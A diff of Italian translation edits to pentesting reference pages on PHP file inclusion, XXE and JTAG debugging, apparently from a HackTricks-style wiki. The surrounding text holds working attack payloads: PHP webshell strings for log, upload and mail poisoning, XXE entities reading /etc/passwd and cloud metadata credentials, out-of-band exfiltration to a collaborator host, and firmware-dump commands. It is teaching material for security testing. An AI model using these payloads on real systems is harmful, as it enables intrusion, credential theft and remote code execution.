 - `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate esegui nel terminale: `iconv -l`
 
 > [!WARNING]
-> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per rendere una funzione come include in grado di elaborare testo arbitrario. Per ulteriori informazioni controlla [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
+> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per creare una funzione come include che processa testo arbitrario. Per ulteriori informazioni controlla [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
 
 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
 - `zlib.deflate`: Comprimi il contenuto (utile se si esfiltrano molte informazioni)
@@ -269,7 +269,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
 ```
 > [!WARNING]
-> La parte "php://filter" non fa distinzione tra maiuscole e minuscole
+> La parte "php://filter" è case insensitive
 
 ### Utilizzare i filtri php come oracolo per leggere file arbitrari
 
@@ -284,10 +284,10 @@ Nel post originale puoi trovare una spiegazione dettagliata della tecnica, ma ec
 - Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a`, ad esempio, perché se applichiamo 6 di questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non l'ha eliminata e l'errore php viene attivato perché si moltiplica con la bomba iniziale.
 - Utilizzando altre trasformazioni come **rot13** all'inizio è possibile esfiltrare altri caratteri come n, o, p, q, r (e altri codec possono essere utilizzati per spostare altre lettere nell'intervallo esadecimale).
 - Quando il carattere iniziale è un numero è necessario codificarlo in base64 e esfiltrare le prime 2 lettere per esfiltrare il numero.
-- Il problema finale è vedere **come esfiltrare più della lettera iniziale**. Utilizzando filtri di memoria ordinata come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e ottenere in prima posizione altre lettere del testo.
-- E per poter ottenere **ulteriori dati** l'idea è di **generare 2 byte di dati spazzatura all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farlo **pivottare con i successivi 2 byte**, e **eliminare i dati fino ai dati spazzatura** (questo rimuoverà i primi 2 byte del testo iniziale). Continua a farlo fino a raggiungere il bit desiderato da esfiltrare.
+- Il problema finale è vedere **come esfiltrare più della lettera iniziale**. Utilizzando filtri di memoria d'ordine come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e ottenere in prima posizione altre lettere del testo.
+- E per poter ottenere **ulteriori dati** l'idea è di **generare 2 byte di dati spazzatura all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farlo **pivotare con i successivi 2 byte**, e **eliminare i dati fino ai dati spazzatura** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare a farlo fino a raggiungere il bit desiderato da esfiltrare.
 
-Nel post è stata anche esfiltrata un'utility per eseguire questo automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+Nel post è stata anche esfiltrata una tool per eseguire questo automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
 
 ### php://fd
 
@@ -371,14 +371,14 @@ phar-deserialization.md
 ### CVE-2024-2961
 
 È stato possibile abusare di **qualsiasi file arbitrario letto da PHP che supporta i filtri php** per ottenere un RCE. La descrizione dettagliata può essere [**trovata in questo post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Riepilogo molto rapido: un **overflow di 3 byte** nell'heap di PHP è stato abusato per **modificare la catena di chunk liberi** di una dimensione specifica al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
+Riepilogo molto rapido: un **overflow di 3 byte** nell'heap di PHP è stato abusato per **modificare la catena di chunk liberi** di dimensioni specifiche al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
 È stato possibile allocare chunk di dimensioni specifiche abusando di più filtri php.
 
-### More protocols
+### Altri protocolli
 
-Controlla più possibili [**protocollo da includere qui**](https://www.php.net/manual/en/wrappers.php)**:**
+Controlla altri possibili [**protocolli da includere qui**](https://www.php.net/manual/en/wrappers.php)**:**
 
-- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrivi in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un attacco di inclusione di file)
+- [php://memory e php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrivere in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un attacco di inclusione di file)
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Accesso al filesystem locale
 - [http://](https://www.php.net/manual/en/wrappers.http.php) — Accesso a URL HTTP(s)
 - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accesso a URL FTP(s)
@@ -387,7 +387,7 @@ Controlla più possibili [**protocollo da includere qui**](https://www.php.net/m
 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (non utile per leggere file arbitrari)
 
-## LFI via PHP's 'assert'
+## LFI tramite 'assert' di PHP
 
 I rischi di Local File Inclusion (LFI) in PHP sono notevolmente elevati quando si tratta della funzione 'assert', che può eseguire codice all'interno delle stringhe. Questo è particolarmente problematico se l'input contenente caratteri di traversamento delle directory come ".." viene controllato ma non correttamente sanificato.
 
@@ -427,12 +427,12 @@ Per i dettagli tecnici controlla il post menzionato!
 Quando il codice lato server che ingesta/carica file costruisce il percorso di destinazione utilizzando dati controllati dall'utente (ad es., un nome di file o URL) senza canonizzarlo e validarlo, i segmenti `..` e i percorsi assoluti possono uscire dalla directory prevista e causare una scrittura di file arbitraria. Se puoi posizionare il payload sotto una directory esposta al web, di solito ottieni RCE non autenticato lasciando cadere una webshell.
 
 Flusso di sfruttamento tipico:
-- Identificare una primitiva di scrittura in un endpoint o in un worker in background che accetta un percorso/nome di file e scrive contenuto su disco (ad es., ingestione basata su messaggi, gestori di comandi XML/JSON, estrattori ZIP, ecc.).
+- Identificare una primitiva di scrittura in un endpoint o in un worker di background che accetta un percorso/nome di file e scrive contenuto su disco (ad es., ingestione basata su messaggi, gestori di comandi XML/JSON, estrattori ZIP, ecc.).
 - Determinare le directory esposte al web. Esempi comuni:
 - Apache/PHP: `/var/www/html/`
 - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → lascia cadere `shell.jsp`
 - IIS: `C:\inetpub\wwwroot\` → lascia cadere `shell.aspx`
-- Creare un percorso di traversale che esca dalla directory di archiviazione prevista nella root del web e includere il contenuto della tua webshell.
+- Creare un percorso di traversale che esca dalla directory di archiviazione prevista nella webroot e includere il contenuto della tua webshell.
 - Navigare verso il payload lasciato cadere ed eseguire comandi.
 
 Note:
@@ -463,25 +463,25 @@ in.transferTo(out);
 </Command>
 </JMF>
 ```
-Indurimento che sconfigge questa classe di bug:
+Hardening che sconfigge questa classe di bug:
 - Risolvere a un percorso canonico e garantire che sia un discendente di una directory di base autorizzata.
 - Rifiutare qualsiasi percorso contenente `..`, radici assolute o lettere di unità; preferire nomi di file generati.
 - Eseguire lo scrittore come un account a bassa privilegio e segregare le directory di scrittura dalle radici servite.
 
-## Inclusione di File Remoti
+## Remote File Inclusion
 
-Spiegato in precedenza, [**segui questo link**](#remote-file-inclusion).
+Spiegato in precedenza, [**follow this link**](#remote-file-inclusion).
 
-### Tramite file di log Apache/Nginx
+### Via file di log Apache/Nginx
 
-Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include, potresti provare ad accedere a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, impostando all'interno del **user agent** o di un **parametro GET** una shell php come **`<?php system($_GET['c']); ?>`** e includere quel file.
+Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include, potresti provare ad accedere a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, impostando all'interno del **user agent** o all'interno di un **parametro GET** una shell php come **`<?php system($_GET['c']); ?>`** e includere quel file
 
 > [!WARNING]
 > Nota che **se usi virgolette doppie** per la shell invece di **virgolette semplici**, le virgolette doppie verranno modificate per la stringa "_**quote;**_", **PHP genererà un errore** lì e **nient'altro verrà eseguito**.
 >
-> Inoltre, assicurati di **scrivere correttamente il payload** o PHP genererà un errore ogni volta che prova a caricare il file di log e non avrai una seconda opportunità.
+> Inoltre, assicurati di **scrivere correttamente il payload** o PHP genererà un errore ogni volta che cerca di caricare il file di log e non avrai una seconda opportunità.
 
-Questo potrebbe essere fatto anche in altri log, ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'intestazione **autorizzazione "basic"** contiene "user:password" in Base64 ed è decodificata all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questa intestazione.\
+Questo potrebbe essere fatto anche in altri log, ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'intestazione **authorisation "basic"** contiene "user:password" in Base64 ed è decodificata all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questa intestazione.\
 Altri possibili percorsi di log:
 ```python
 /var/log/apache2/access.log
@@ -498,7 +498,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
 
 ### Via Email
 
-**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere nella mail dell'utente con un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
+**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere nella mail dell'utente un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
 
 ### Via /proc/\*/fd/\*
 
@@ -514,13 +514,13 @@ User-Agent: <?=phpinfo(); ?>
 ```
 ### Via upload
 
-Se puoi caricare un file, basta iniettare il payload della shell in esso (ad es: `<?php system($_GET['c']); ?>`).
+Se puoi caricare un file, basta iniettare il payload della shell in esso (ad esempio: `<?php system($_GET['c']); ?>`).
 ```
 http://example.com/index.php?page=path/to/uploaded/file.png
 ```
 Per mantenere il file leggibile, è meglio iniettare nei metadati delle immagini/doc/pdf
 
-### Via caricamento di file Zip
+### Via upload di file Zip
 
 Carica un file ZIP contenente una shell PHP compressa e accedi:
 ```python

src/pentesting-web/xxe-xee-xml-external-entity.md

@@ -7,7 +7,7 @@
 XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei dati, con una struttura flessibile che consente l'uso di tag nominati in modo descrittivo. Si differenzia da HTML poiché non è limitato a un insieme di tag predefiniti. L'importanza di XML è diminuita con l'ascesa di JSON, nonostante il suo ruolo iniziale nella tecnologia AJAX.
 
 - **Rappresentazione dei Dati tramite Entità**: Le entità in XML consentono la rappresentazione dei dati, inclusi caratteri speciali come `&lt;` e `&gt;`, che corrispondono a `<` e `>` per evitare conflitti con il sistema di tag di XML.
-- **Definizione degli Elementi XML**: XML consente la definizione dei tipi di elemento, delineando come gli elementi devono essere strutturati e quali contenuti possono contenere, che vanno da qualsiasi tipo di contenuto a elementi figli specifici.
+- **Definizione degli Elementi XML**: XML consente la definizione dei tipi di elemento, delineando come gli elementi dovrebbero essere strutturati e quali contenuti possono contenere, che vanno da qualsiasi tipo di contenuto a specifici elementi figli.
 - **Definizione del Tipo di Documento (DTD)**: I DTD sono cruciali in XML per definire la struttura del documento e i tipi di dati che può contenere. Possono essere interni, esterni o una combinazione, guidando come i documenti sono formattati e convalidati.
 - **Entità Personalizzate ed Esterne**: XML supporta la creazione di entità personalizzate all'interno di un DTD per una rappresentazione flessibile dei dati. Le entità esterne, definite con un URL, sollevano preoccupazioni di sicurezza, in particolare nel contesto degli attacchi XML External Entity (XXE), che sfruttano il modo in cui i parser XML gestiscono le fonti di dati esterne: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
 - **Rilevamento XXE con Entità Parametriche**: Per rilevare vulnerabilità XXE, specialmente quando i metodi convenzionali falliscono a causa delle misure di sicurezza del parser, possono essere utilizzate entità parametriche XML. Queste entità consentono tecniche di rilevamento out-of-band, come l'attivazione di lookup DNS o richieste HTTP a un dominio controllato, per confermare la vulnerabilità.
@@ -75,7 +75,7 @@ In applicazioni basate su **Java** potrebbe essere possibile **elencare i conten
 ```
 ### SSRF
 
-Un XXE potrebbe essere utilizzato per abusare di un SSRF all'interno di un cloud
+Un XXE potrebbe essere utilizzato per abusare di un SSRF all'interno di un cloud.
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
@@ -83,7 +83,7 @@ Un XXE potrebbe essere utilizzato per abusare di un SSRF all'interno di un cloud
 ```
 ### Blind SSRF
 
-Utilizzando la **tecnica precedentemente commentata** puoi far accedere il server a un server che controlli per dimostrare che è vulnerabile. Ma, se non funziona, potrebbe essere perché **le entità XML non sono consentite**, in tal caso potresti provare a utilizzare **entità di parametro XML**:
+Utilizzando la **tecnica precedentemente commentata** puoi far accedere il server a un server che controlli per dimostrare che è vulnerabile. Ma, se non funziona, potrebbe essere perché **le entità XML non sono consentite**, in tal caso potresti provare a utilizzare **entità parametriche XML**:
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@@ -91,7 +91,7 @@ Utilizzando la **tecnica precedentemente commentata** puoi far accedere il serve
 ```
 ### "Blind" SSRF - Exfiltrare dati out-of-band
 
-**In questa occasione faremo caricare al server un nuovo DTD con un payload malevolo che invierà il contenuto di un file tramite richiesta HTTP (per file su più righe potresti provare a esfiltrarlo tramite \_ftp://**\_ utilizzando questo server di base ad esempio [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Questa spiegazione si basa su** [**Portswiggers lab qui**](https://portswigger.net/web-security/xxe/blind)**.**
+**In questa occasione faremo in modo che il server carichi un nuovo DTD con un payload malevolo che invierà il contenuto di un file tramite richiesta HTTP (per file su più righe potresti provare a esfiltrarlo tramite \_ftp://**\_ utilizzando questo server di base per esempio [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Questa spiegazione si basa su** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.**
 
 Nel DTD malevolo fornito, vengono eseguiti una serie di passaggi per esfiltrare dati:
 
@@ -127,7 +127,7 @@ Questo payload definisce un'entità parametro XML `%xxe` e la incorpora all'inte
 
 **In questo caso faremo in modo che il server carichi un DTD malevolo che mostrerà il contenuto di un file all'interno di un messaggio di errore (questo è valido solo se puoi vedere i messaggi di errore).** [**Esempio da qui.**](https://portswigger.net/web-security/xxe/blind)
 
-Un messaggio di errore di parsing XML, che rivela i contenuti del file `/etc/passwd`, può essere attivato utilizzando un Document Type Definition (DTD) esterno malevolo. Questo viene realizzato attraverso i seguenti passaggi:
+Un messaggio di errore di parsing XML, che rivela i contenuti del file `/etc/passwd`, può essere attivato utilizzando un Documento di Tipo Esterno (DTD) malevolo. Questo viene realizzato attraverso i seguenti passaggi:
 
 1. Viene definita un'entità parametro XML chiamata `file`, che contiene i contenuti del file `/etc/passwd`.
 2. Viene definita un'entità parametro XML chiamata `eval`, incorporando una dichiarazione dinamica per un'altra entità parametro XML chiamata `error`. Questa entità `error`, quando valutata, tenta di caricare un file inesistente, incorporando i contenuti dell'entità `file` come suo nome.
@@ -148,9 +148,9 @@ _**Si prega di notare che il DTD esterno ci consente di includere un'entità all
 
 ### **Error Based (system DTD)**
 
-E quindi, cosa succede alle vulnerabilità XXE cieche quando **le interazioni out-of-band sono bloccate** (le connessioni esterne non sono disponibili)?
+E quindi, cosa succede con le vulnerabilità XXE cieche quando **le interazioni out-of-band sono bloccate** (le connessioni esterne non sono disponibili)?
 
-Una falla nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errore. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.
+Una falla nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errori. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.
 
 Considera uno scenario in cui il filesystem del server contiene un file DTD in `/usr/local/app/schema.dtd`, che definisce un'entità chiamata `custom_entity`. Un attaccante può indurre un errore di parsing XML rivelando il contenuto del file `/etc/passwd` inviando un DTD ibrido come segue:
 ```xml
@@ -169,7 +169,7 @@ I passaggi delineati sono eseguiti da questo DTD:
 
 - La definizione di un'entità parametro XML chiamata `local_dtd` include il file DTD esterno situato nel filesystem del server.
 - Si verifica una ridefinizione per l'entità parametro XML `custom_entity`, originariamente definita nel DTD esterno, per racchiudere un [exploit XXE basato su errore](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Questa ridefinizione è progettata per provocare un errore di parsing, esponendo il contenuto del file `/etc/passwd`.
-- Utilizzando l'entità `local_dtd`, il DTD esterno viene attivato, comprendendo la nuova entità definita `custom_entity`. Questa sequenza di azioni provoca l'emissione del messaggio di errore mirato dall'exploit.
+- Utilizzando l'entità `local_dtd`, il DTD esterno viene attivato, comprendendo la nuova entità definita `custom_entity`. Questa sequenza di azioni provoca l'emissione del messaggio di errore previsto dall'exploit.
 
 **Esempio del mondo reale:** I sistemi che utilizzano l'ambiente desktop GNOME hanno spesso un DTD in `/usr/share/yelp/dtd/docbookx.dtd` contenente un'entità chiamata `ISOamso`.
 ```xml
@@ -188,7 +188,7 @@ I passaggi delineati sono eseguiti da questo DTD:
 ```
 ![](<../images/image (625).png>)
 
-Poiché questa tecnica utilizza un **DTD interno, è necessario trovarne uno valido prima**. Puoi farlo **installando** lo stesso **SO / Software** che utilizza il server e **cercando alcuni DTD predefiniti**, oppure **prendendo un elenco** di **DTD predefiniti** all'interno dei sistemi e **verificando** se ce n'è uno che esiste:
+Poiché questa tecnica utilizza un **DTD interno, è necessario trovarne prima uno valido**. Puoi farlo **installando** lo stesso **SO / Software** che utilizza il server e **cercando alcuni DTD predefiniti**, oppure **prendendo un elenco** di **DTD predefiniti** all'interno dei sistemi e **verificando** se qualcuno di essi esiste:
 ```xml
 <!DOCTYPE foo [
 <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@@ -205,7 +205,7 @@ Nel seguente fantastico repo di github puoi trovare **percorsi di DTD che posson
 https://github.com/GoSecure/dtd-finder/tree/master/list
 {{#endref}}
 
-Inoltre, se hai l'**immagine Docker del sistema vittima**, puoi utilizzare lo strumento dello stesso repo per **scansionare** l'**immagine** e **trovare** il percorso delle **DTD** presenti all'interno del sistema. Leggi il [Readme del github](https://github.com/GoSecure/dtd-finder) per sapere come.
+Inoltre, se hai **l'immagine Docker del sistema vittima**, puoi utilizzare lo strumento dello stesso repo per **scansionare** l'**immagine** e **trovare** il percorso delle **DTD** presenti all'interno del sistema. Leggi il [Readme del github](https://github.com/GoSecure/dtd-finder) per sapere come.
 ```bash
 java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
 
@@ -233,15 +233,15 @@ Infine, il file può essere compresso per creare il file malevolo poc.docx. Dall
 
 Ora, il file creato può essere caricato nell'applicazione web potenzialmente vulnerabile, e si può sperare che una richiesta appaia nei log di Burp Collaborator.
 
-### Jar: protocollo
+### Jar: protocol
 
-Il **protocollo jar** è reso accessibile esclusivamente all'interno delle **applicazioni Java**. È progettato per consentire l'accesso ai file all'interno di un **archivio PKZIP** (ad es., `.zip`, `.jar`, ecc.), per file locali e remoti.
+Il **protocollo jar** è reso accessibile esclusivamente all'interno delle **applicazioni Java**. È progettato per consentire l'accesso ai file all'interno di un **archivio PKZIP** (ad es., `.zip`, `.jar`, ecc.), soddisfacendo sia i file locali che remoti.
 ```
 jar:file:///var/myarchive.zip!/file.txt
 jar:https://download.host.com/myarchive.zip!/file.txt
 ```
 > [!CAUTION]
-> Per poter accedere ai file all'interno dei file PKZIP è **super utile abusare di XXE tramite file DTD di sistema.** Controlla [questa sezione per imparare come abusare dei file DTD di sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd).
+> Per poter accedere ai file all'interno dei file PKZIP è **super utile per abusare di XXE tramite file DTD di sistema.** Controlla [questa sezione per imparare come abusare dei file DTD di sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd).
 
 Il processo per accedere a un file all'interno di un archivio PKZIP tramite il protocollo jar comporta diversi passaggi:
 
@@ -310,9 +310,9 @@ Poi puoi provare a decifrare l'hash usando hashcat
 
 ### XInclude
 
-Quando si integrano i dati del client nei documenti XML lato server, come quelli nelle richieste SOAP di backend, il controllo diretto sulla struttura XML è spesso limitato, ostacolando gli attacchi XXE tradizionali a causa delle restrizioni sulla modifica dell'elemento `DOCTYPE`. Tuttavia, un attacco `XInclude` offre una soluzione consentendo l'inserimento di entità esterne all'interno di qualsiasi elemento di dati del documento XML. Questo metodo è efficace anche quando solo una parte dei dati all'interno di un documento XML generato dal server può essere controllata.
+Quando si integrano i dati del client nei documenti XML lato server, come quelli nelle richieste SOAP di backend, il controllo diretto sulla struttura XML è spesso limitato, ostacolando gli attacchi XXE tradizionali a causa delle restrizioni sulla modifica dell'elemento `DOCTYPE`. Tuttavia, un attacco `XInclude` fornisce una soluzione consentendo l'inserimento di entità esterne all'interno di qualsiasi elemento di dati del documento XML. Questo metodo è efficace anche quando solo una parte dei dati all'interno di un documento XML generato dal server può essere controllata.
 
-Per eseguire un attacco `XInclude`, è necessario dichiarare lo spazio dei nomi `XInclude` e specificare il percorso del file per l'entità esterna prevista. Di seguito è riportato un esempio conciso di come può essere formulato un tale attacco:
+Per eseguire un attacco `XInclude`, deve essere dichiarato lo spazio dei nomi `XInclude` e deve essere specificato il percorso del file per l'entità esterna prevista. Di seguito è riportato un esempio conciso di come può essere formulato un attacco di questo tipo:
 ```xml
 productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
 ```
@@ -320,9 +320,9 @@ Controlla [https://portswigger.net/web-security/xxe](https://portswigger.net/web
 
 ### SVG - Caricamento File
 
-I file caricati dagli utenti su determinate applicazioni, che vengono poi elaborati sul server, possono sfruttare vulnerabilità nel modo in cui vengono gestiti i file XML o i formati di file contenenti XML. Formati di file comuni come documenti di office (DOCX) e immagini (SVG) si basano su XML.
+I file caricati dagli utenti su determinate applicazioni, che vengono poi elaborati sul server, possono sfruttare vulnerabilità nel modo in cui vengono gestiti i file XML o i formati di file che contengono XML. Formati di file comuni come documenti di office (DOCX) e immagini (SVG) si basano su XML.
 
-Quando gli utenti **caricano immagini**, queste immagini vengono elaborate o convalidate lato server. Anche per le applicazioni che si aspettano formati come PNG o JPEG, la **libreria di elaborazione delle immagini del server potrebbe supportare anche immagini SVG**. SVG, essendo un formato basato su XML, può essere sfruttato dagli attaccanti per inviare immagini SVG dannose, esponendo così il server a vulnerabilità XXE (XML External Entity).
+Quando gli utenti **caricano immagini**, queste immagini vengono elaborate o convalidate lato server. Anche per le applicazioni che si aspettano formati come PNG o JPEG, la **libreria di elaborazione delle immagini del server potrebbe supportare anche le immagini SVG**. SVG, essendo un formato basato su XML, può essere sfruttato dagli attaccanti per inviare immagini SVG dannose, esponendo così il server a vulnerabilità XXE (XML External Entity).
 
 Un esempio di tale exploit è mostrato di seguito, dove un'immagine SVG dannosa tenta di leggere file di sistema:
 ```xml
@@ -478,7 +478,7 @@ Questo esempio è ispirato a [https://pwn.vg/articles/2021-06/local-file-read-vi
 
 XLIFF (XML Localization Interchange File Format) è utilizzato per standardizzare lo scambio di dati nei processi di localizzazione. È un formato basato su XML principalmente utilizzato per trasferire dati localizzabili tra strumenti durante la localizzazione e come formato di scambio comune per gli strumenti CAT (Computer-Aided Translation).
 
-### Blind Request Analysis
+### Analisi della Richiesta Cieca
 
 Una richiesta viene inviata al server con il seguente contenuto:
 ```xml
@@ -693,7 +693,7 @@ https://github.com/luisfontes19/xxexploiter
 * Ridefinisce l'entità non definita in modo che:
 - Legga il file di destinazione (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
 - Costruisca un'altra entità parametro che si riferisce a un **percorso non valido** contenente il valore `%flag;` e attivi un errore del parser (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
-3. Infine espandere `%local_dtd;` e `%eval;` in modo che il parser incontri `%error;`, non riesca ad aprire `/aaa/<FLAG>` e faccia trapelare il flag all'interno dell'eccezione sollevata – che viene spesso restituita all'utente dall'applicazione.
+3. Infine, espandere `%local_dtd;` e `%eval;` in modo che il parser incontri `%error;`, non riesca ad aprire `/aaa/<FLAG>` e faccia trapelare il flag all'interno dell'eccezione sollevata – che viene spesso restituita all'utente dall'applicazione.
 ```xml
 <!DOCTYPE colors [
 <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
@@ -732,9 +732,9 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
 * La tecnica funziona **senza connettività in uscita**, rendendola ideale per ambienti con filtri di uscita rigorosi.
 
 #### Mitigation guidance
-* Aggiorna a **lxml ≥ 5.4.0** e assicurati che la **libxml2** sottostante sia **≥ 2.13.8**.
+* Aggiorna a **lxml ≥ 5.4.0** e assicurati che il **libxml2** sottostante sia **≥ 2.13.8**.
 * Disabilita `load_dtd` e/o `resolve_entities` a meno che non sia assolutamente necessario.
-* Evita di restituire errori di parser grezzi al client.
+* Evita di restituire errori di parser raw al client.
 
 ### Esempio di indurimento di Java DocumentBuilderFactory
 
@@ -769,7 +769,7 @@ Studio di caso reale: **CVE-2025-27136** nell'emulatore Java S3 *LocalS3* utiliz
 
 ### XXE in JMF/Print Orchestration Services → SSRF
 
-Alcune piattaforme di workflow/orchestrazione di stampa espongono un listener Job Messaging Format (JMF) esposto alla rete che accetta XML su TCP. Se il parser sottostante accetta un `DOCTYPE` e risolve entità esterne, puoi sfruttare un XXE classico per costringere il server a effettuare richieste in uscita (SSRF) o accedere a risorse locali.
+Alcune piattaforme di workflow/orchestrazione di stampa espongono un listener Job Messaging Format (JMF) rivolto alla rete che accetta XML su TCP. Se il parser sottostante accetta un `DOCTYPE` e risolve entità esterne, puoi sfruttare un XXE classico per costringere il server a effettuare richieste in uscita (SSRF) o accedere a risorse locali.
 
 Punti chiave osservati nel mondo reale:
 - Listener di rete (ad es., client JMF) su una porta dedicata (comunemente 4004 in Xerox FreeFlow Core).

src/todo/hardware-hacking/jtag.md

@@ -50,7 +50,7 @@ OpenOCD è l'OSS de facto per JTAG/SWD. Con un adattatore supportato puoi scansi
 openocd -f interface/jlink.cfg -c "transport select jtag; adapter speed 1000" \
 -c "init; scan_chain; shutdown"
 ```
-- ESP32‑S3 USB‑JTAG integrato (nessun probe esterno richiesto):
+- ESP32‑S3 USB‑JTAG integrato (nessun sondino esterno richiesto):
 ```
 openocd -f board/esp32s3-builtin.cfg -c "init; scan_chain; shutdown"
 ```
@@ -67,7 +67,7 @@ Una volta che il TAP è riconosciuto e uno script di destinazione è scelto, puo
 openocd -f interface/jlink.cfg -f target/stm32f1x.cfg \
 -c "init; reset halt; mdw 0x08000000 4; dump_image flash.bin 0x08000000 0x00100000; shutdown"
 ```
-- RISC‑V SoC (preferisci SBA quando disponibile):
+- RISC‑V SoC (preferire SBA quando disponibile):
 ```
 openocd -f interface/ftdi/ft232h.cfg -f target/riscv.cfg \
 -c "init; riscv set_prefer_sba on; halt; dump_image sram.bin 0x80000000 0x20000; shutdown"
@@ -107,7 +107,7 @@ Hai bisogno del BSDL del dispositivo per conoscere l'ordinamento dei bit del reg
 
 ## Difese e indurimento (cosa aspettarsi su dispositivi reali)
 
-- Disabilita o blocca permanentemente JTAG/SWD in produzione (ad es., STM32 RDP livello 2, ESP eFuses che disabilitano PAD JTAG, NXP/Nordic APPROTECT/DPAP).
+- Disabilita o blocca permanentemente JTAG/SWD in produzione (ad es., livello 2 RDP STM32, eFuses ESP che disabilitano PAD JTAG, APPROTECT/DPAP NXP/Nordic).
 - Richiedi debug autenticato (ARMv8.2‑A ADIv6 Debug Authentication, sfida-risposta gestita da OEM) mantenendo l'accesso alla produzione.
